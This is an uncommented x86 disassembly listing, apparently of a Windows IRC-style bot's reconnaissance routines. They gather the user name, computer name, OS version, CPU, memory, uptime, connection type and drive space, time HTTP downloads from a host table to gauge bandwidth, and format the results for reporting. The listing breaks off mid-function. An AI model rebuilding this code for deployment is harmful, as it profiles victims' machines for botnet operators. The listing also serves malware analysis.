var_748		= dword	ptr -748h
var_744		= dword	ptr -744h
var_740		= dword	ptr -740h
var_73C		= dword	ptr -73Ch
var_738		= dword	ptr -738h
var_734		= byte ptr -734h
var_72C		= dword	ptr -72Ch
var_728		= dword	ptr -728h
var_714		= dword	ptr -714h
var_710		= dword	ptr -710h
var_70C		= dword	ptr -70Ch
var_708		= byte ptr -708h
var_6F0		= dword	ptr -6F0h
var_6EC		= dword	ptr -6ECh
var_6E8		= dword	ptr -6E8h
var_6E4		= dword	ptr -6E4h
var_6E0		= byte ptr -6E0h
var_6D0		= dword	ptr -6D0h
var_6CC		= dword	ptr -6CCh
var_6C8		= byte ptr -6C8h
var_524		= dword	ptr -524h
var_520		= dword	ptr -520h
var_51C		= dword	ptr -51Ch
var_518		= dword	ptr -518h
var_514		= dword	ptr -514h
var_510		= dword	ptr -510h
var_50C		= byte ptr -50Ch
var_48C		= dword	ptr -48Ch
var_488		= dword	ptr -488h
var_484		= dword	ptr -484h
var_480		= dword	ptr -480h
var_47C		= byte ptr -47Ch
var_409		= byte ptr -409h
var_408		= byte ptr -408h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 750h
		push	ebx
		push	esi
		push	edi
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_6CC]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		lea	eax, [ebp+var_734]
		push	eax
		call	ds:dword_4170C4	; GlobalMemoryStatus
		mov	eax, [ebp+var_72C]
		add	eax, 100000h
		shr	eax, 14h
		mov	[ebp+var_6F0], eax
		mov	eax, [ebp+var_728]
		add	eax, 100000h
		shr	eax, 14h
		mov	[ebp+var_738], eax
		call	sub_4092A4
		mov	[ebp+var_714], eax
		mov	eax, [ebp+var_714]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	[ebp+var_6E8], eax
		mov	eax, [ebp+var_714]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		mov	ecx, 0E10h
		div	ecx
		mov	[ebp+var_524], eax
		mov	eax, [ebp+var_714]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		mov	ecx, 0E10h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		push	3Ch
		pop	ecx
		div	ecx
		mov	[ebp+var_6E4], eax
		mov	[ebp+var_8], 15h
		mov	[ebp+var_6D0], 10h
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_708]
		push	eax
		call	ds:dword_417018	; GetUserNameA
		lea	eax, [ebp+var_6D0]
		push	eax
		lea	eax, [ebp+var_6E0]
		push	eax
		call	ds:dword_417078	; GetComputerNameA
		mov	[ebp+var_520], 94h
		push	24h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_51C]
		rep stosd
		lea	eax, [ebp+var_520]
		push	eax
		call	ds:dword_417030	; GetVersionExA
		mov	[ebp+var_48C], offset a? ; "?"
		mov	[ebp+var_710], offset aNoSp ; "no SP"
		cmp	[ebp+var_51C], 4
		jnz	short loc_408522
		cmp	[ebp+var_518], 0
		jnz	short loc_408522
		cmp	[ebp+var_510], 1
		jnz	short loc_40850A
		mov	[ebp+var_48C], offset a95 ; "95"


loc_40850A:				; CODE XREF: sub_4083AD+151j
		cmp	[ebp+var_510], 2
		jnz	short loc_40851D
		mov	[ebp+var_48C], offset aNt ; "NT"


loc_40851D:				; CODE XREF: sub_4083AD+164j
		jmp	loc_4085B6
; ---------------------------------------------------------------------------


loc_408522:				; CODE XREF: sub_4083AD+13Fj
					; sub_4083AD+148j
		cmp	[ebp+var_51C], 4
		jnz	short loc_408540
		cmp	[ebp+var_518], 0Ah
		jnz	short loc_408540
		mov	[ebp+var_48C], offset a98 ; "98"
		jmp	short loc_4085B6
; ---------------------------------------------------------------------------


loc_408540:				; CODE XREF: sub_4083AD+17Cj
					; sub_4083AD+185j
		cmp	[ebp+var_51C], 4
		jnz	short loc_40855E
		cmp	[ebp+var_518], 5Ah
		jnz	short loc_40855E
		mov	[ebp+var_48C], offset aMe ; "ME"
		jmp	short loc_4085B6
; ---------------------------------------------------------------------------


loc_40855E:				; CODE XREF: sub_4083AD+19Aj
					; sub_4083AD+1A3j
		cmp	[ebp+var_51C], 5
		jnz	short loc_40857C
		cmp	[ebp+var_518], 0
		jnz	short loc_40857C
		mov	[ebp+var_48C], offset a2000 ; "2000"
		jmp	short loc_4085B6
; ---------------------------------------------------------------------------


loc_40857C:				; CODE XREF: sub_4083AD+1B8j
					; sub_4083AD+1C1j
		cmp	[ebp+var_51C], 5
		jnz	short loc_40859A
		cmp	[ebp+var_518], 1
		jnz	short loc_40859A
		mov	[ebp+var_48C], offset aXp ; "XP"
		jmp	short loc_4085B6
; ---------------------------------------------------------------------------


loc_40859A:				; CODE XREF: sub_4083AD+1D6j
					; sub_4083AD+1DFj
		cmp	[ebp+var_51C], 5
		jnz	short loc_4085B6
		cmp	[ebp+var_518], 2
		jnz	short loc_4085B6
		mov	[ebp+var_48C], offset a2003 ; "2003"


loc_4085B6:				; CODE XREF: sub_4083AD:loc_40851Dj
					; sub_4083AD+191j ...
		cmp	[ebp+var_510], 2
		jnz	short loc_4085D6
		movsx	eax, [ebp+var_50C]
		test	eax, eax
		jz	short loc_4085D6
		lea	eax, [ebp+var_50C]
		mov	[ebp+var_710], eax


loc_4085D6:				; CODE XREF: sub_4083AD+210j
					; sub_4083AD+21Bj
		call	sub_40435B
		test	eax, eax
		jz	short loc_4085EB
		mov	[ebp+var_744], offset aYes ; "Yes"
		jmp	short loc_4085F5
; ---------------------------------------------------------------------------


loc_4085EB:				; CODE XREF: sub_4083AD+230j
		mov	[ebp+var_744], offset aNo ; "No"


loc_4085F5:				; CODE XREF: sub_4083AD+23Cj
		mov	eax, [ebp+var_744]
		mov	[ebp+var_4], eax
		and	[ebp+var_47C], 0
		and	[ebp+var_409], 0
		xor	eax, eax
		cpuid
		mov	[ebp+var_488], ebx
		mov	[ebp+var_484], edx
		mov	[ebp+var_480], ecx
		lea	eax, [ebp+var_488]
		mov	[ebp+var_6EC], eax
		and	[ebp+var_70C], 0
		lea	eax, [ebp+var_70C]
		push	eax
		push	20019h
		push	0
		push	offset aHardwareDescri ; "HARDWARE\\DESCRIPTION\\System\\CentralProc"...
		push	80000002h
		call	ds:dword_417008	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_4086B3
		and	[ebp+var_73C], 0
		mov	[ebp+var_740], 80h
		lea	eax, [ebp+var_740]
		push	eax
		lea	eax, [ebp+var_488]
		push	eax
		lea	eax, [ebp+var_73C]
		push	eax
		push	0
		push	offset aProcessornames ; "ProcessorNameString"
		push	[ebp+var_70C]
		call	ds:dword_41700C	; RegQueryValueExA
		test	eax, eax
		jnz	short loc_4086A7
		push	1
		push	1
		lea	eax, [ebp+var_488]
		push	eax
		call	sub_407C2C
		add	esp, 0Ch


loc_4086A7:				; CODE XREF: sub_4083AD+2E5j
		push	[ebp+var_70C]
		call	ds:dword_417028	; RegCloseKey


loc_4086B3:				; CODE XREF: sub_4083AD+2A8j
		cmp	[ebp+var_6E4], 1
		jnz	short loc_4086C8
		mov	[ebp+var_748], offset byte_41DE30
		jmp	short loc_4086D2
; ---------------------------------------------------------------------------


loc_4086C8:				; CODE XREF: sub_4083AD+30Dj
		mov	[ebp+var_748], offset dword_4191F4


loc_4086D2:				; CODE XREF: sub_4083AD+319j
		cmp	[ebp+var_524], 1
		jnz	short loc_4086E7
		mov	[ebp+var_74C], offset byte_41DE30
		jmp	short loc_4086F1
; ---------------------------------------------------------------------------


loc_4086E7:				; CODE XREF: sub_4083AD+32Cj
		mov	[ebp+var_74C], offset dword_4191F4


loc_4086F1:				; CODE XREF: sub_4083AD+338j
		cmp	[ebp+var_6E8], 1
		jnz	short loc_408706
		mov	[ebp+var_750], offset byte_41DE30
		jmp	short loc_408710
; ---------------------------------------------------------------------------


loc_408706:				; CODE XREF: sub_4083AD+34Bj
		mov	[ebp+var_750], offset dword_4191F4


loc_408710:				; CODE XREF: sub_4083AD+357j
		lea	eax, [ebp+var_708]
		push	eax
		lea	eax, [ebp+var_6E0]
		push	eax
		push	[ebp+var_748]
		push	[ebp+var_6E4]
		push	[ebp+var_74C]
		push	[ebp+var_524]
		push	[ebp+var_750]
		push	[ebp+var_6E8]
		push	[ebp+var_4]
		push	[ebp+var_6F0]
		push	[ebp+var_738]
		call	sub_40821B
		push	eax
		push	[ebp+var_6EC]
		push	[ebp+var_514]
		push	[ebp+var_518]
		push	[ebp+var_51C]
		push	[ebp+var_710]
		push	[ebp+var_48C]
		push	offset dword_419104
		push	400h
		lea	eax, [ebp+var_408]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 54h
		lea	eax, [ebp+var_408]
		push	eax
		push	offset aS	; "%s"
		lea	eax, [ebp+var_6C8]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	[ebp+var_6CC]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_4083AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4087C4	proc near		; CODE XREF: sub_40A9CF+1B9Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_4087DE
		jmp	short locret_408806
; ---------------------------------------------------------------------------


loc_4087DE:				; CODE XREF: sub_4087C4+16j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aSysinfoThread ;	"Sysinfo thread"
		push	0
		push	[ebp+var_4]
		push	offset sub_4083AD
		call	sub_4095A4
		add	esp, 10h

locret_408806:				; CODE XREF: sub_4087C4+18j
		leave
		retn
sub_4087C4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408808	proc near		; CODE XREF: sub_408887+Bp
					; sub_408887+19p ...

var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	[ebp+arg_0]
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_4105FB
		pop	ecx
		call	sub_416B64	; clock
		mov	[ebp+var_4], eax
		push	7D0h
		push	0
		push	offset a80	; "80"
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_8], eax
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		cmp	[ebp+var_8], 0
		jnz	short loc_40885F
		mov	eax, 3E8h
		jmp	short locret_408885
; ---------------------------------------------------------------------------


loc_40885F:				; CODE XREF: sub_408808+4Ej
		call	sub_416B64	; clock
		sub	eax, [ebp+var_4]
		cmp	eax, 3E8h
		jnb	short loc_40887B
		call	sub_416B64	; clock
		sub	eax, [ebp+var_4]
		mov	[ebp+var_2C], eax
		jmp	short loc_408882
; ---------------------------------------------------------------------------


loc_40887B:				; CODE XREF: sub_408808+64j
		mov	[ebp+var_2C], 3E8h


loc_408882:				; CODE XREF: sub_408808+71j
		mov	eax, [ebp+var_2C]

locret_408885:				; CODE XREF: sub_408808+55j
		leave
		retn
sub_408808	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408887	proc near		; CODE XREF: sub_408B30+1C2p
					; sub_40CA29+1E9p ...

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	offset dword_418F60
		call	sub_408808
		pop	ecx
		mov	[ebp+var_4], eax
		push	offset dword_418F6C
		call	sub_408808
		pop	ecx
		mov	[ebp+var_8], eax
		push	offset dword_418F84
		call	sub_408808
		pop	ecx
		mov	[ebp+var_C], eax
		push	offset aJzFl	; "†‡Âݳ”«Ê"
		call	sub_408808
		pop	ecx
		mov	[ebp+var_10], eax
		push	offset dword_418FA0
		call	sub_408808
		pop	ecx
		mov	[ebp+var_14], eax
		push	offset dword_418FB0
		call	sub_408808
		pop	ecx
		mov	[ebp+var_18], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		add	eax, [ebp+var_14]
		add	eax, [ebp+var_18]
		xor	edx, edx
		push	6
		pop	ecx
		div	ecx
		leave
		retn
sub_408887	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4088FC	proc near		; CODE XREF: sub_408B30:loc_408D33p

var_438		= qword	ptr -438h
var_430		= dword	ptr -430h
var_42C		= qword	ptr -42Ch
var_424		= dword	ptr -424h
var_420		= dword	ptr -420h
var_41C		= dword	ptr -41Ch
var_418		= byte ptr -418h
var_318		= dword	ptr -318h
var_314		= dword	ptr -314h
var_310		= dword	ptr -310h
var_30C		= dword	ptr -30Ch
var_308		= byte ptr -308h
var_208		= byte ptr -208h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 438h
		and	[ebp+var_8], 0
		jmp	short loc_408912
; ---------------------------------------------------------------------------


loc_40890B:				; CODE XREF: sub_4088FC+23j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_408912:				; CODE XREF: sub_4088FC+Dj
		mov	eax, [ebp+var_8]
		cmp	off_418FC4[eax*4], 0
		jz	short loc_408921
		jmp	short loc_40890B
; ---------------------------------------------------------------------------


loc_408921:				; CODE XREF: sub_4088FC+21j
		mov	eax, [ebp+var_8]
		shr	eax, 1
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		jmp	short loc_408936
; ---------------------------------------------------------------------------


loc_40892F:				; CODE XREF: sub_4088FC+D6j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_408936:				; CODE XREF: sub_4088FC+31j
		cmp	[ebp+var_4], 3
		jnb	loc_408B2C
		mov	eax, [ebp+var_8]
		dec	eax
		push	eax
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_318], eax
		mov	eax, [ebp+var_318]
		shl	eax, 1
		push	off_418FC4[eax*4]
		lea	eax, [ebp+var_418]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_418]
		push	eax
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_318]
		shl	eax, 1
		push	off_418FC8[eax*4]
		lea	eax, [ebp+var_308]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_308]
		push	eax
		call	sub_4105FB
		pop	ecx
		push	2710h
		push	0
		push	offset a80	; "80"
		lea	eax, [ebp+var_418]
		push	eax
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_310], eax
		cmp	[ebp+var_310], 0
		jnz	short loc_4089D7
		jmp	loc_40892F
; ---------------------------------------------------------------------------


loc_4089D7:				; CODE XREF: sub_4088FC+D4j
		lea	eax, [ebp+var_418]
		push	eax
		lea	eax, [ebp+var_308]
		push	eax
		push	offset aGetSHttp1_0Hos ; "GET /%s HTTP/1.0\r\nHost: %s\r\n\r\n"
		push	200h
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 14h
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		push	[ebp+var_310]
		call	sub_4053BF
		add	esp, 0Ch
		and	[ebp+var_314], 0
		call	sub_416B64	; clock
		mov	[ebp+var_41C], eax
		and	[ebp+var_30C], 0


loc_408A3A:				; CODE XREF: sub_4088FC+1AFj
					; sub_4088FC+22Bj
		push	1388h
		push	200h
		lea	eax, [ebp+var_208]
		push	eax
		push	[ebp+var_310]
		call	sub_405443
		add	esp, 10h
		mov	[ebp+var_420], eax
		cmp	[ebp+var_420], 0
		jz	short loc_408A93
		cmp	[ebp+var_420], 0FFFFFFFFh
		jz	short loc_408A93
		call	sub_416B64	; clock
		sub	eax, [ebp+var_41C]
		cmp	eax, 1388h
		jnb	short loc_408A93
		cmp	[ebp+var_30C], 100000h
		jb	loc_408B15


loc_408A93:				; CODE XREF: sub_4088FC+16Aj
					; sub_4088FC+173j ...
		cmp	[ebp+var_30C], 2000h
		jnb	short loc_408AAD
		push	[ebp+var_310]
		call	sub_40538D
		pop	ecx
		jmp	short loc_408A3A
; ---------------------------------------------------------------------------


loc_408AAD:				; CODE XREF: sub_4088FC+1A1j
		mov	eax, [ebp+var_30C]
		mov	dword ptr [ebp+var_42C], eax
		and	dword ptr [ebp+var_42C+4], 0
		fild	[ebp+var_42C]
		fstp	[ebp+var_430]
		call	sub_416B64	; clock
		sub	eax, [ebp+var_41C]
		mov	dword ptr [ebp+var_438], eax
		and	dword ptr [ebp+var_438+4], 0
		fild	[ebp+var_438]
		fdiv	ds:flt_417270
		fdivr	[ebp+var_430]
		call	sub_416CF8	; _ftol
		mov	[ebp+var_424], eax
		push	[ebp+var_310]
		call	sub_40538D
		pop	ecx
		mov	eax, [ebp+var_424]
		jmp	short locret_408B2E
; ---------------------------------------------------------------------------


loc_408B15:				; CODE XREF: sub_4088FC+191j
		mov	eax, [ebp+var_30C]
		add	eax, [ebp+var_420]
		mov	[ebp+var_30C], eax
		jmp	loc_408A3A
; ---------------------------------------------------------------------------


loc_408B2C:				; CODE XREF: sub_4088FC+3Ej
		xor	eax, eax

locret_408B2E:				; CODE XREF: sub_4088FC+217j
		leave
		retn
sub_4088FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408B30	proc near		; DATA XREF: sub_408E4A+35o

var_A9C		= qword	ptr -0A9Ch
var_A7C		= qword	ptr -0A7Ch
var_A74		= dword	ptr -0A74h
var_A70		= dword	ptr -0A70h
var_A6C		= dword	ptr -0A6Ch
var_A68		= dword	ptr -0A68h
var_A64		= dword	ptr -0A64h
var_A60		= dword	ptr -0A60h
var_A5C		= byte ptr -0A5Ch
var_8B8		= dword	ptr -8B8h
var_8B4		= dword	ptr -8B4h
var_8B0		= byte ptr -8B0h
var_830		= dword	ptr -830h
var_82C		= dword	ptr -82Ch
var_828		= dword	ptr -828h
var_824		= dword	ptr -824h
var_820		= dword	ptr -820h
var_81C		= dword	ptr -81Ch
var_818		= dword	ptr -818h
var_814		= byte ptr -814h
var_414		= byte ptr -414h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A7Ch
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_A60]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		push	offset dword_41EF48
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_824]
		push	eax
		push	0
		push	0
		push	offset dword_41EF48
		call	dword_41DE84	; getaddrinfo
		test	eax, eax
		jnz	short loc_408BBC
		push	1
		push	0
		push	0
		push	401h
		lea	eax, [ebp+var_414]
		push	eax
		mov	eax, [ebp+var_824]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+var_824]
		push	dword ptr [eax+18h]
		call	dword_41DE88	; getnameinfo
		push	[ebp+var_824]
		call	dword_41DE8C	; freeaddrinfo


loc_408BBC:				; CODE XREF: sub_408B30+54j
		call	sub_409318
		mov	[ebp+var_8B8], eax
		mov	eax, [ebp+var_8B8]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	[ebp+var_830], eax
		mov	eax, [ebp+var_8B8]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		mov	ecx, 0E10h
		div	ecx
		mov	[ebp+var_820], eax
		mov	eax, [ebp+var_8B8]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		mov	ecx, 0E10h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		push	3Ch
		pop	ecx
		div	ecx
		mov	[ebp+var_82C], eax
		push	offset aUnknown	; "Unknown"
		lea	eax, [ebp+var_8B0]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		push	offset aUnknown	; "Unknown"
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		cmp	dword_41DE7C, 0
		jz	short loc_408C9F
		push	0
		push	80h
		lea	eax, [ebp+var_8B0]
		push	eax
		lea	eax, [ebp+var_818]
		push	eax
		call	dword_41DE7C	; InternetGetConnectedStateExA
		test	eax, eax
		jz	short loc_408C9F
		mov	eax, [ebp+var_818]
		and	eax, 1
		test	eax, eax
		jz	short loc_408C8F
		push	offset aModem	; "Modem"
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		jmp	short loc_408C9F
; ---------------------------------------------------------------------------


loc_408C8F:				; CODE XREF: sub_408B30+14Bj
		push	offset aLan	; "LAN"
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_408C9F:				; CODE XREF: sub_408B30+11Fj
					; sub_408B30+13Ej ...
		call	sub_4043E9
		test	eax, eax
		jz	short loc_408CB4
		mov	[ebp+var_A64], offset aYes ; "Yes"
		jmp	short loc_408CBE
; ---------------------------------------------------------------------------


loc_408CB4:				; CODE XREF: sub_408B30+176j
		mov	[ebp+var_A64], offset aNo ; "No"


loc_408CBE:				; CODE XREF: sub_408B30+182j
		mov	eax, [ebp+var_A64]
		mov	[ebp+var_8], eax
		call	sub_404279
		test	eax, eax
		jz	short loc_408CDC
		mov	[ebp+var_A68], offset aYes ; "Yes"
		jmp	short loc_408CE6
; ---------------------------------------------------------------------------


loc_408CDC:				; CODE XREF: sub_408B30+19Ej
		mov	[ebp+var_A68], offset aNo ; "No"


loc_408CE6:				; CODE XREF: sub_408B30+1AAj
		mov	eax, [ebp+var_A68]
		mov	[ebp+var_8B4], eax
		call	sub_408887
		mov	[ebp+var_828], eax
		mov	[ebp+var_81C], offset aBad ; "Bad"
		cmp	[ebp+var_828], 2EEh
		jnb	short loc_408D1D
		mov	[ebp+var_81C], offset aAvarage ; "Avarage"


loc_408D1D:				; CODE XREF: sub_408B30+1E1j
		cmp	[ebp+var_828], 1F4h
		jnb	short loc_408D33
		mov	[ebp+var_81C], offset aGood ; "Good"


loc_408D33:				; CODE XREF: sub_408B30+1F7j
		call	sub_4088FC
		mov	[ebp+var_4], eax
		cmp	[ebp+var_82C], 1
		jnz	short loc_408D50
		mov	[ebp+var_A6C], offset byte_41DE30
		jmp	short loc_408D5A
; ---------------------------------------------------------------------------


loc_408D50:				; CODE XREF: sub_408B30+212j
		mov	[ebp+var_A6C], offset dword_4191F4


loc_408D5A:				; CODE XREF: sub_408B30+21Ej
		cmp	[ebp+var_820], 1
		jnz	short loc_408D6F
		mov	[ebp+var_A70], offset byte_41DE30
		jmp	short loc_408D79
; ---------------------------------------------------------------------------


loc_408D6F:				; CODE XREF: sub_408B30+231j
		mov	[ebp+var_A70], offset dword_4191F4


loc_408D79:				; CODE XREF: sub_408B30+23Dj
		cmp	[ebp+var_830], 1
		jnz	short loc_408D8E
		mov	[ebp+var_A74], offset byte_41DE30
		jmp	short loc_408D98
; ---------------------------------------------------------------------------


loc_408D8E:				; CODE XREF: sub_408B30+250j
		mov	[ebp+var_A74], offset dword_4191F4


loc_408D98:				; CODE XREF: sub_408B30+25Cj
		push	[ebp+var_A6C]
		push	[ebp+var_82C]
		push	[ebp+var_A70]
		push	[ebp+var_820]
		push	[ebp+var_A74]
		push	[ebp+var_830]
		mov	eax, [ebp+var_4]
		mov	dword ptr [ebp+var_A7C], eax
		and	dword ptr [ebp+var_A7C+4], 0
		fild	[ebp+var_A7C]
		fdiv	ds:flt_417274
		push	ecx
		push	ecx
		fstp	[esp+0A9Ch+var_A9C]
		push	[ebp+var_828]
		push	[ebp+var_81C]
		push	[ebp+var_8B4]
		push	[ebp+var_8]
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8B0]
		push	eax
		lea	eax, [ebp+var_414]
		push	eax
		push	offset dword_419284
		push	400h
		lea	eax, [ebp+var_814]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 48h
		lea	eax, [ebp+var_814]
		push	eax
		push	offset aS	; "%s"
		lea	eax, [ebp+var_A5C]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	[ebp+var_A60]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		leave
		retn	4
sub_408B30	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408E4A	proc near		; CODE XREF: sub_40A9CF+1BD8p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_408E64
		jmp	short locret_408E8C
; ---------------------------------------------------------------------------


loc_408E64:				; CODE XREF: sub_408E4A+16j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aNetinfoThread ;	"Netinfo thread"
		push	0
		push	[ebp+var_4]
		push	offset sub_408B30
		call	sub_4095A4
		add	esp, 10h

locret_408E8C:				; CODE XREF: sub_408E4A+18j
		leave
		retn
sub_408E4A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408E8E	proc near		; CODE XREF: sub_40CA29+1C5p
					; sub_40CA29+2DAp ...

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		mov	eax, dword_419398
		mov	[ebp+var_1C], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0


loc_408EA4:				; CODE XREF: sub_408E8E+95j
		lea	eax, [ebp+var_1C]
		push	eax
		call	ds:dword_4170CC	; GetDriveTypeA
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jz	short loc_408F14
		cmp	[ebp+var_10], 1
		jz	short loc_408F14
		cmp	[ebp+var_10], 5
		jz	short loc_408EE1
		cmp	[ebp+var_10], 2
		jz	short loc_408EE1
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	ds:dword_4170C8	; GetDiskFreeSpaceExA
		jmp	short loc_408EF1
; ---------------------------------------------------------------------------


loc_408EE1:				; CODE XREF: sub_408E8E+33j
					; sub_408E8E+39j
		push	8
		push	0
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch


loc_408EF1:				; CODE XREF: sub_408E8E+51j
		push	0
		push	100000h
		push	[ebp+var_20]
		push	[ebp+var_24]
		call	sub_416C90
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], edx
		mov	eax, [ebp+var_24]
		mov	ecx, [ebp+var_C]
		add	ecx, eax
		mov	[ebp+var_C], ecx


loc_408F14:				; CODE XREF: sub_408E8E+27j
					; sub_408E8E+2Dj
		mov	al, byte ptr [ebp+var_1C]
		add	al, 1
		mov	byte ptr [ebp+var_1C], al
		movsx	eax, byte ptr [ebp+var_1C]
		cmp	eax, 5Ah
		jnz	loc_408EA4
		mov	eax, [ebp+var_C]
		leave
		retn
sub_408E8E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408F2E	proc near		; DATA XREF: sub_4091E2+35o

var_5DC		= dword	ptr -5DCh
var_5D8		= dword	ptr -5D8h
var_5D4		= dword	ptr -5D4h
var_5D0		= byte ptr -5D0h
var_42C		= dword	ptr -42Ch
var_428		= dword	ptr -428h
var_424		= dword	ptr -424h
var_420		= byte ptr -420h
var_418		= dword	ptr -418h
var_414		= dword	ptr -414h
var_410		= dword	ptr -410h
var_40C		= byte ptr -40Ch
var_404		= byte ptr -404h
var_3EF		= byte ptr -3EFh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5DCh
		push	esi
		push	edi
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_5D4]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		push	5
		pop	ecx
		mov	esi, offset aDriveInformati ; "Drive information - "
		lea	edi, [ebp+var_404]
		rep movsd
		movsb
		mov	ecx, 0FAh
		xor	eax, eax
		lea	edi, [ebp+var_3EF]
		rep stosd
		stosw
		stosb
		mov	eax, dword_419398
		mov	[ebp+var_424], eax
		and	[ebp+var_418], 0
